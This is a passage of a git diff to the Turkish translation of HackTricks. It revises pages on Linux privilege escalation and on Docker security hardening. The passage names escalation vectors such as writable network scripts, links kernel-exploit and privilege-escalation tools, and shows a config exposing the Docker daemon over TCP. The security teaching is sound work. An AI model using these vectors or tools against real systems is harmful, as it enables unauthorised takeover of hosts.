betiği **ayarlayabilirse**, o zaman **sisteminiz ele geçirilmiştir**. +Herhangi bir nedenden dolayı bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine bir `ifcf-` betiği **yazabilirse** veya var olan bir betiği **ayarlayabilirse**, o zaman **sisteminiz ele geçirilmiştir**. Ağ betikleri, örneğin _ifcg-eth0_, ağ bağlantıları için kullanılır. Tam olarak .INI dosyalarına benzerler. Ancak, Linux'ta Network Manager (dispatcher.d) tarafından \~kaynaklanır\~. @@ -1377,11 +1372,11 @@ DEVICE=eth0 `/etc/init.d` dizini, **Sistem V init (SysVinit)** için betikleri içerir, klasik Linux hizmet yönetim sistemi. Hizmetleri `başlatmak`, `durdurmak`, `yeniden başlatmak` ve bazen `yeniden yüklemek` için betikler içerir. Bu betikler doğrudan yürütülebilir veya `/etc/rc?.d/` dizininde bulunan sembolik bağlantılar aracılığıyla yürütülebilir. Redhat sistemlerinde alternatif bir yol ise `/etc/rc.d/init.d` dizinidir. -Öte yandan, `/etc/init` **Upstart** ile ilişkilidir, Ubuntu tarafından tanıtılan daha yeni bir **hizmet yönetimi**. Upstart'e geçişe rağmen, Upstart'ta bir uyumluluk katmanı nedeniyle SysVinit betikleri hala Upstart yapılandırmalarıyla birlikte kullanılmaktadır. +Öte yandan, `/etc/init` **Upstart** ile ilişkilidir, Ubuntu tarafından tanıtılan daha yeni bir **hizmet yönetimi** kullanarak hizmet yönetimi görevleri için yapılandırma dosyaları kullanır. Upstart'e geçişe rağmen, Upstart yapılandırmalarıyla birlikte SysVinit betikleri hala kullanılmaktadır çünkü Upstart'te bir uyumluluk katmanı bulunmaktadır. -**systemd**, gelişmiş özellikler sunan modern bir başlatma ve hizmet yöneticisi olarak ortaya çıkar, örneğin ihtiyaç duyulan daemon başlatma, otomatik bağlama yönetimi ve sistem durumu anlık görüntüleri. Dağıtım paketleri için dosyaları `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` dizinlerine düzenler, sistem yönetimi sürecini kolaylaştırır. +**systemd**, modern bir başlatma ve hizmet yöneticisi olarak ortaya çıkar, ihtiyaç duyulan daemon başlatma, otomatik bağlama yönetimi ve sistem durumu anlık görüntüleme gibi gelişmiş özellikler sunar. Dağıtım paketleri için dosyaları `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` dizinlerine düzenler, sistem yönetimi sürecini kolaylaştırır. -## Diğer İpuçları +## Diğer Püf Noktalar ### NFS Yetki Yükseltme @@ -1419,7 +1414,7 @@ DEVICE=eth0 **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Linux ve MAC'te çekirdek zafiyetlerini sırala [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Linux ve MAC'te çekirdek zafiyetlerini sıralar [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local\_exploit\_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (fiziksel erişim):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ @@ -1444,3 +1439,18 @@ DEVICE=eth0 * [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux) * [https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f) * [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) + +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın:[**HackTricks Eğitim AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitim GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +HackTricks'i Destekleyin + +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın. + +
+{% endhint %} diff --git a/linux-hardening/privilege-escalation/docker-security/README.md b/linux-hardening/privilege-escalation/docker-security/README.md index d5d286147..96dc0d9db 100644 --- a/linux-hardening/privilege-escalation/docker-security/README.md +++ b/linux-hardening/privilege-escalation/docker-security/README.md @@ -1,30 +1,31 @@ # Docker Güvenliği +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -- **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -- **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. -- **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %}
\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security)'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} ## **Temel Docker Motoru Güvenliği** -**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups**'ını kullanır, temel bir güvenlik katmanı sunar. **Yeteneklerin düşürülmesi**, **Seccomp** ve **SELinux/AppArmor** ile ek koruma sağlanır, konteyner izolasyonu artırılır. Bir **auth eklentisi** kullanıcı eylemlerini daha da kısıtlayabilir. +**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups**'ını kullanır, temel bir güvenlik katmanı sunar. **Yeteneklerin düşürülmesi**, **Seccomp** ve **SELinux/AppArmor** ile ek koruma sağlanır, konteyner izolasyonu artırılır. Bir **auth eklentisi** kullanıcı işlemlerini daha da kısıtlayabilir. ![Docker Güvenliği](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) @@ -32,7 +33,7 @@ Bugün Erişim Alın: Docker motoruna yerel olarak Unix soketi aracılığıyla veya uzaktan HTTP kullanılarak erişilebilir. Uzaktan erişim için gizlilik, bütünlük ve kimlik doğrulamasını sağlamak için HTTPS ve **TLS** kullanmak önemlidir. -Ubuntu sistemlerinde Docker varsayılan olarak `unix:///var/run/docker.sock` adresinde Unix soketinde dinler. Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API ve istemciye uzaktan erişimi etkinleştirmek için Docker daemon'ı HTTP soketi üzerinden açmak için aşağıdaki ayarları ekleyin: +Ubuntu sistemlerinde Docker varsayılan olarak `unix:///var/run/docker.sock` adresinde Unix soketinde dinler. Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API ve istemciye uzaktan erişimi etkinleştirmek için Docker daemon'ını HTTP soketi üzerinden açmak için aşağıdaki ayarları ekleyin: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart @@ -54,7 +55,7 @@ Konteyner görüntüleri ya özel ya da genel depolama alanlarında saklanabilir ### Görüntü Tarama -Konteynerler, temel görüntü veya temel görüntü üzerine kurulan yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yapabilen ve güvenlik açıklarını listeleyen **Nautilus** adlı bir proje üzerinde çalışmaktadır. Nautilus, her Konteyner görüntü katmanını güvenlik açığı havuzundaki ile karşılaştırarak güvenlik açıklarını belirler. +Konteynerler, temel görüntü veya temel görüntü üzerine kurulan yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yapabilen ve güvenlik açıklarını listeleyen **Nautilus** adlı bir proje üzerinde çalışmaktadır. Nautilus, her Konteyner görüntü katmanını güvenlik açığı havuzunu karşılaştırarak güvenlik açıklarını belirlemek için çalışır. Daha fazla [**bilgi için burayı okuyun**](https://docs.docker.com/engine/scan/). @@ -92,11 +93,11 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 Docker imaj imzalama, konteynerlerde kullanılan imajların güvenliğini ve bütünlüğünü sağlar. İşte özet bir açıklama: -- **Docker İçerik Güveni**, imaj imzalamayı yönetmek için The Update Framework (TUF) üzerine kurulu Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakabilirsiniz. +- **Docker İçerik Güveni**, imza yönetimi için The Update Framework (TUF) tabanlı Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakabilirsiniz. - Docker içerik güvenini etkinleştirmek için `export DOCKER_CONTENT_TRUST=1` ayarını yapın. Bu özellik, Docker sürümü 1.10 ve sonrasında varsayılan olarak kapalıdır. -- Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yükleme işlemi, kök ve etiketleme anahtarları için parola belirlemeyi gerektirir ve Docker ayrıca gelişmiş güvenlik için Yubikey'i destekler. Daha fazla ayrıntıya [buradan](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) ulaşabilirsiniz. -- İçerik güveni etkinleştirilmiş bir imzasız imajı çekmeye çalışmak, "No trust data for latest" hatası ile sonuçlanır. -- İlk imaj yükleme işleminden sonra imajları itmek için Docker, imajı imzalamak için depo anahtarının parolasını ister. +- Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yükleme işlemi, kök ve etiketleme anahtarları için parola belirlemeyi gerektirir; Docker ayrıca gelişmiş güvenlik için Yubikey'i de destekler. Daha fazla ayrıntıya [buradan](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) ulaşabilirsiniz. +- İçerik güveni etkinleştirilmiş bir imzasız imajı çekmeye çalışmak, "No trust data for latest" hatasıyla sonuçlanır. +- İlk imaj yüklemeden sonra imajı imzalamak için Docker, depo anahtarının parolasını ister. Özel anahtarlarınızı yedeklemek için aşağıdaki komutu kullanın: ```bash @@ -110,7 +111,7 @@ Docker ana bilgisayarlar arasında geçiş yaparken işlemleri sürdürebilmek i \ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\ -Bugün Erişim Edinin: +Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} @@ -132,15 +133,15 @@ Konteynerleştirilmiş ortamlarda, projeleri ve işlemleri izole etmek güvenlik **Kontrol Grupları (CGroups)** -* **Fonksiyon**: Kaynakları işlemler arasında tahsis etmek için kullanılır. -* **Güvenlik Yönü**: CGroups kendileri izolasyon güvenliği sunmaz, ancak yanlış yapılandırılmışsa `release_agent` özelliği, yetkisiz erişim için potansiyel olarak kötüye kullanılabilir. +* **Fonksiyon**: Kaynakları işlemler arasında paylaştırmak için kullanılır. +* **Güvenlik Yönü**: CGroups, kendileri izolasyon güvenliği sunmaz, ancak yanlış yapılandırılmışsa `release_agent` özelliği, yetkisiz erişim için potansiyel olarak kötüye kullanılabilir. **Yetenek Düşürme (Capability Drop)** -* **Önem**: İşlem izolasyonu için kritik bir güvenlik özelliğidir. -* **İşlevsellik**: Belirli yetenekleri düşürerek kök işlemin gerçekleştirebileceği işlemleri kısıtlar. Bir işlem kök ayrıcalıklarıyla çalışsa bile, gerekli yeteneklere sahip olmaması nedeniyle ayrıcalıklı işlemleri gerçekleştiremez, çünkü sistem çağrıları yetersiz izinler nedeniyle başarısız olur. +* **Önemi**: İşlem izolasyonu için kritik bir güvenlik özelliğidir. +* **İşlevsellik**: Belirli yetenekleri bırakarak kök işlemin gerçekleştirebileceği eylemleri kısıtlar. Bir işlem kök ayrıcalıklarıyla çalışsa bile, gerekli yeteneklere sahip olmaması nedeniyle ayrıcalıklı eylemleri gerçekleştiremez, çünkü sistem çağrıları yetersiz izinler nedeniyle başarısız olur. -Bu, işlem diğerlerini düşürdükten sonra **kalan yeteneklerdir**: +Bu, işlem diğer yetenekleri bıraktıktan sonra **kalan yeteneklerdir**: {% code overflow="wrap" %} ``` @@ -150,7 +151,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca **Seccomp** -Docker'da varsayılan olarak etkindir. İşlemi çağırabileceği **sistem çağrılarını daha da sınırlamaya yardımcı olur**.\ +Docker'da varsayılan olarak etkindir. **İşlemin çağırabileceği sistem çağrılarını daha da sınırlamaya yardımcı olur**.\ **Varsayılan Docker Seccomp profili**, [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) adresinde bulunabilir. **AppArmor** @@ -163,7 +164,7 @@ Bu, yetenekleri, sistem çağrılarını, dosya ve klasörlere erişimi azaltman ### Ad Alanları -**Ad alanları**, Linux çekirdeğinin bir özelliğidir ve **çekirdek kaynaklarını bölümlendirir**, böylece bir **set işlem**, bir **set kaynak** görürken **başka** bir **set işlem** farklı bir **set kaynak** görür. Bu özellik, bir dizi kaynak ve işlem için aynı ad alanına sahip olmakla birlikte, bu ad alanlarının farklı kaynaklara işaret etmesiyle çalışır. Kaynaklar birden çok alanda bulunabilir. +**Ad alanları**, Linux çekirdeğinin bir özelliğidir ve **çekirdek kaynaklarını bölümlere ayırır**, böylece bir **set işlem**, bir **set kaynak** görürken **başka** bir **set işlem** farklı bir **set kaynak** görür. Bu özellik, bir dizi kaynak ve işlem için aynı ad alanına sahip olmakla birlikte, bu ad alanları farklı kaynaklara işaret eder. Kaynaklar birden çok alanda bulunabilir. Docker, Konteyner izolasyonunu sağlamak için aşağıdaki Linux çekirdek Ad Alanlarını kullanır: @@ -182,7 +183,7 @@ Docker, Konteyner izolasyonunu sağlamak için aşağıdaki Linux çekirdek Ad A ### cgroups Linux çekirdek özelliği **cgroups**, bir dizi işlem arasında **cpu, bellek, io, ağ bant genişliği gibi kaynakları kısıtlama** yeteneği sağlar. Docker, belirli Konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak Konteyner'lar oluşturmanıza izin verir.\ -Aşağıda, kullanıcı alanı belleği 500m, çekirdek belleği 50m, cpu payı 512, blkioweight 400 ile sınırlı bir Konteyner oluşturulmuştur. CPU payı, Konteyner'ın CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığa sahiptir. Üç Konteynerin aynı CPU payına (1024) sahip olduğunu varsayarsak, CPU kaynağı çatışması durumunda her Konteyner %33'e kadar CPU alabilir. blkio-weight, Konteyner'ın IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığa sahiptir. +Aşağıda, kullanıcı alanı belleği 500m'ye, çekirdek belleği 50m'ye, cpu payını 512'ye, blkioweight'i 400'e sınırlayan bir Konteyner oluşturulmuştur. CPU payı, Konteyner'ın CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığa sahiptir. Üç Konteynerin aynı CPU payına (1024) sahip olduğunu varsayarsak, CPU kaynağı çatışması durumunda her Konteyner, CPU'nun %33'üne kadar alabilir. blkio-weight, Konteyner'ın IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığa sahiptir. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` @@ -200,9 +201,9 @@ Daha fazla bilgi için kontrol edin: ### Yetenekler -Yetenekler, kök kullanıcı için izin verilebilecek yetenekler için daha ince bir kontrol sağlar. Docker, kullanıcı türünden bağımsız olarak bir Konteyner içinde yapılabilen işlemleri sınırlamak için Linux çekirdek yetenek özelliğini kullanır. +Yetenekler, kök kullanıcı için izin verilebilecek yetenekler için daha ince kontrol sağlar. Docker, kullanıcı türünden bağımsız olarak bir Konteyner içinde yapılabilen işlemleri sınırlamak için Linux çekirdek yetenek özelliğini kullanır. -Bir docker konteyneri çalıştırıldığında, işlem, izolasyondan kaçınmak için kullanabileceği hassas yetenekleri bırakır. Bu, işlemin hassas eylemleri gerçekleştiremeyeceğinden ve kaçamayacağından emin olmaya çalışır: +Docker konteyneri çalıştırıldığında, işlem, izolasyondan kaçınmak için kullanabileceği hassas yetenekleri bırakır. Bu, işlemin hassas eylemleri gerçekleştiremeyeceğinden ve kaçamayacağından emin olmaya çalışır: {% content-ref url="../linux-capabilities.md" %} [linux-capabilities.md](../linux-capabilities.md) @@ -218,7 +219,7 @@ Bu, Docker'ın konteyner içinde kullanılabilecek sistem çağrılarını sın ### Docker'da AppArmor -AppArmor, konteynerleri sınırlı bir dizi kaynağa ve program başına profillere kısıtlamak için bir çekirdek geliştirmesidir.: +AppArmor, konteynerleri sınırlı bir dizi kaynağa per-program profilleri ile sınırlamak için bir çekirdek geliştirmesidir.: {% content-ref url="apparmor.md" %} [apparmor.md](apparmor.md) @@ -227,12 +228,12 @@ AppArmor, konteynerleri sınırlı bir dizi kaynağa ve program başına profill ### Docker'da SELinux * **Etiketleme Sistemi**: SELinux, her işlem ve dosya sistemi nesnesine benzersiz bir etiket atar. -* **Politika Uygulaması**: Bir işlem etiketinin sistem içinde diğer etiketler üzerinde hangi eylemleri gerçekleştirebileceğini tanımlayan güvenlik politikalarını uygular. +* **Politika Uygulaması**: Sistem içinde bir işlem etiketinin diğer etiketler üzerinde hangi eylemleri gerçekleştirebileceğini tanımlayan güvenlik politikalarını uygular. * **Konteyner İşlem Etiketleri**: Konteyner motorları konteyner işlemlerini başlattığında genellikle sınırlı bir SELinux etiketi atarlar, genellikle `container_t`. * **Konteyner İçindeki Dosya Etiketleme**: Konteyner içindeki dosyalar genellikle `container_file_t` olarak etiketlenir. -* **Politika Kuralları**: SELinux politikası, öncelikle `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşime geçebileceğini sağlar. +* **Politika Kuralları**: SELinux politikası, `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşime geçebileceğini (okuma, yazma, yürütme) sağlar. -Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılmış olsa bile, yalnızca karşılık gelen etiketlere sahip nesnelerle etkileşimde bulunabileceğinden, bu tür tehlikelerden kaynaklanan potansiyel hasarı önemli ölçüde sınırlar. +Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılmış olsa bile, yalnızca ilgili etiketlere sahip nesnelerle etkileşimde bulunabileceğinden, bu tür tehlikelerden kaynaklanan potansiyel hasarı önemli ölçüde sınırlar. {% content-ref url="../selinux.md" %} [selinux.md](../selinux.md) @@ -240,7 +241,7 @@ Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılmış olsa ### AuthZ & AuthN -Docker'da bir yetkilendirme eklentisi, Docker daemonuna yapılan istekleri izin verip engelleyerek güvenlikte önemli bir rol oynar. Bu karar, iki temel bağlamı inceleyerek verilir: +Docker'da bir yetkilendirme eklentisi, Docker daemonına yapılan istekleri izin verip engelleyerek güvenlikte önemli bir rol oynar. Bu karar, iki temel bağlamı inceleyerek verilir: * **Kimlik Doğrulama Bağlamı**: Bu, kullanıcı hakkında kapsamlı bilgileri içerir, kim oldukları ve nasıl kimlik doğruladıkları gibi. * **Komut Bağlamı**: Yapılan isteğe ilişkin tüm ilgili verileri içerir. @@ -253,7 +254,7 @@ Bu bağlamlar, yalnızca kimlik doğrulaması yapılmış kullanıcılardan gele ## Bir konteynerden DoS -Bir konteynerin kullanabileceği kaynakları doğru bir şekilde sınırlamazsanız, tehlikeye atılmış bir konteyner, çalıştığı ana bilgisayarı DoS edebilir. +Bir konteynerin kullanabileceği kaynakları doğru bir şekilde sınırlamıyorsanız, tehlikeye atılmış bir konteyner, çalıştığı ana bilgisayarı DoS edebilir. * CPU DoS ```bash @@ -281,7 +282,7 @@ Aşağıdaki sayfada **`--privileged` bayrağının ne anlama geldiğini** öğr #### no-new-privileges -Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim elde etmeyi başardığı bir konteyner çalıştırıyorsanız ve **hatalı yapılandırılmış suid ikili dosyanız** varsa, saldırgan bunu kötüye kullanabilir ve konteyner içinde **ayrıcalıkları yükseltebilir**. Bu da onun kaçmasına izin verebilir. +Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim elde etmeyi başardığı bir konteyner çalıştırıyorsanız ve **hatalı yapılandırılmış suid ikili dosyasına** sahipseniz, saldırgan bunu kötüye kullanabilir ve konteyner içinde **ayrıcalıkları yükseltebilir**. Bu da ona kaçmasına izin verebilir. Konteyneri **`no-new-privileges`** seçeneği etkinleştirilmiş olarak çalıştırmak, bu tür ayrıcalık yükseltmelerini **engelleyecektir**. ``` @@ -310,9 +311,9 @@ Daha fazla **`--security-opt`** seçeneği için kontrol edin: [https://docs.doc Docker görüntülerine doğrudan şifre gömmek veya çevresel değişkenler kullanmak önemli değildir, çünkü bu yöntemler, `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynıra erişimi olan herkese hassas bilgilerinizi açığa çıkarır. -**Docker birimleri**, hassas bilgilere erişmek için önerilen daha güvenli bir alternatiftir. Bunlar, riskleri azaltmak için geçici bir bellek dosya sistemi olarak kullanılabilir ve `docker inspect` ve günlüğe kaydetme ile ilişkili riskleri hafifletir. Ancak, kök kullanıcılar ve konteynıra `exec` erişimi olanlar hala şifrelere erişebilir. +**Docker birimleri**, hassas bilgilere erişim için önerilen daha güvenli bir alternatiftir. Bunlar, riskleri azaltmak için geçici bir dosya sistemi olarak bellekte kullanılabilir ve `docker inspect` ve günlüğe kaydetme ile ilişkili riskleri hafifletir. Ancak, kök kullanıcılar ve konteynıra `exec` erişimi olanlar hala şifrelere erişebilir. -**Docker secrets**, hassas bilgileri ele almak için daha da güvenli bir yöntem sunar. Görüntü oluşturma aşamasında şifreler gerektiren durumlar için, **BuildKit** ek özellikler sunarak görüntü oluşturma hızını artırır ve ek özellikler sağlar. +**Docker secrets**, hassas bilgileri ele almak için daha güvenli bir yöntem sunar. Görüntü oluşturma aşamasında şifreler gerektiren durumlar için, **BuildKit** ek özellikler sunarak görüntü oluşturma hızını artırır ve ek özellikler sağlar. BuildKit'ten yararlanmak için üç şekilde etkinleştirilebilir: @@ -324,7 +325,7 @@ BuildKit, `--secret` seçeneği ile yapı zamanı şifrelerin kullanımına izin ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` -Çalışan bir konteyner için gerekli olan sırlar için **Docker Compose ve Kubernetes**, sağlam çözümler sunar. Docker Compose, gizli dosyaları belirtmek için hizmet tanımında bir `secrets` anahtarı kullanır. Bu, bir `docker-compose.yml` örneğinde gösterildiği gibi: +Çalışan bir konteyner için gerekli olan sırlar için **Docker Compose ve Kubernetes** sağlam çözümler sunar. Docker Compose, gizli dosyaları belirtmek için hizmet tanımında bir `secrets` anahtarı kullanır, aşağıdaki `docker-compose.yml` örneğinde olduğu gibi: ```yaml version: "3.7" services: @@ -343,35 +344,35 @@ Kubernetes ortamlarında, secrets doğal olarak desteklenir ve [Helm-Secrets](ht ### gVisor -**gVisor**, Go dilinde yazılmış bir uygulama çekirdeğidir ve Linux sistemi yüzeyinin önemli bir kısmını uygular. Uygulama ile ana çekirdek arasında bir **izolasyon sınırı sağlayan** `runsc` adında bir [Open Container Initiative (OCI)](https://www.opencontainers.org) çalışma zamanını içerir. `runsc` çalışma zamanı, Docker ve Kubernetes ile entegre olup, sandboxed konteynerlerin çalıştırılmasını kolaylaştırır. +**gVisor**, Linux sistem yüzeyinin önemli bir kısmını uygulayan, Go'da yazılmış bir uygulama çekirdeğidir. Uygulama ile ana bilgisayar çekirdeği arasında bir **izolasyon sınırı sağlayan** `runsc` adında bir [Open Container Initiative (OCI)](https://www.opencontainers.org) çalışma zamanını içerir. `runsc` çalışma zamanı, Docker ve Kubernetes ile entegre olarak, kum havuzlu konteynerleri çalıştırmayı kolaylaştırır. {% embed url="https://github.com/google/gvisor" %} ### Kata Containers -**Kata Containers**, konteynerlere benzer şekilde hissedip performans gösteren hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak bir topluluktur, ancak ikinci bir savunma katmanı olarak donanım sanallaştırma teknolojisini kullanarak **daha güçlü iş yükü izolasyonu sağlar**. +**Kata Containers**, konteynerler gibi hissedip performans gösteren hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak topluluğudur, ancak ikinci bir savunma katmanı olarak donanım sanallaştırma teknolojisini kullanarak **daha güçlü iş yükü izolasyonu sağlar**. {% embed url="https://katacontainers.io/" %} ### Özet İpuçları -* **`--privileged` bayrağını kullanmayın veya konteyner içine** [**Docker soketi bağlamayın**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle örneğin, `--privileged` bayrağı ile başka bir konteyneri çalıştırarak ana bilgisayarın tam kontrolünü ele geçirmek kolaydır. -* **Konteyner içinde kök olarak çalıştırmayın.** [**Farklı bir kullanıcı**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)** kullanın.** Konteynerdeki kök, kullanıcı ad alanları ile yeniden eşlenmediği sürece ana bilgisayarla aynıdır. Yalnızca Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanır. -* [**Tüm yetenekleri bırakın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekenleri etkinleştirin** (`--cap-add=...`). Birçok iş yükü hiçbir yetenek gerektirmez ve bunları eklemek bir saldırı kapsamını artırır. +* **`--privileged` bayrağını kullanmayın veya konteyner içinde bir** [**Docker soketi bağlamayın**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle örneğin, `--privileged` bayrağı ile başka bir konteyner çalıştırarak ana bilgisayarın tam kontrolünü ele geçirmek kolaydır. +* **Konteyner içinde kök olarak çalıştırmayın.** [**Farklı bir kullanıcı**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)** kullanın.** Konteynerdeki kök, kullanıcı ad alanları ile yeniden eşlenene kadar ana bilgisayardakiyle aynıdır. Yalnızca Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanır. +* [**Tüm yetenekleri bırakın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekenleri etkinleştirin** (`--cap-add=...`). Birçok iş yükü hiçbir yetenek gerektirmez ve bunları eklemek bir saldırı alanının kapsamını artırır. * [**"no-new-privileges" güvenlik seçeneğini 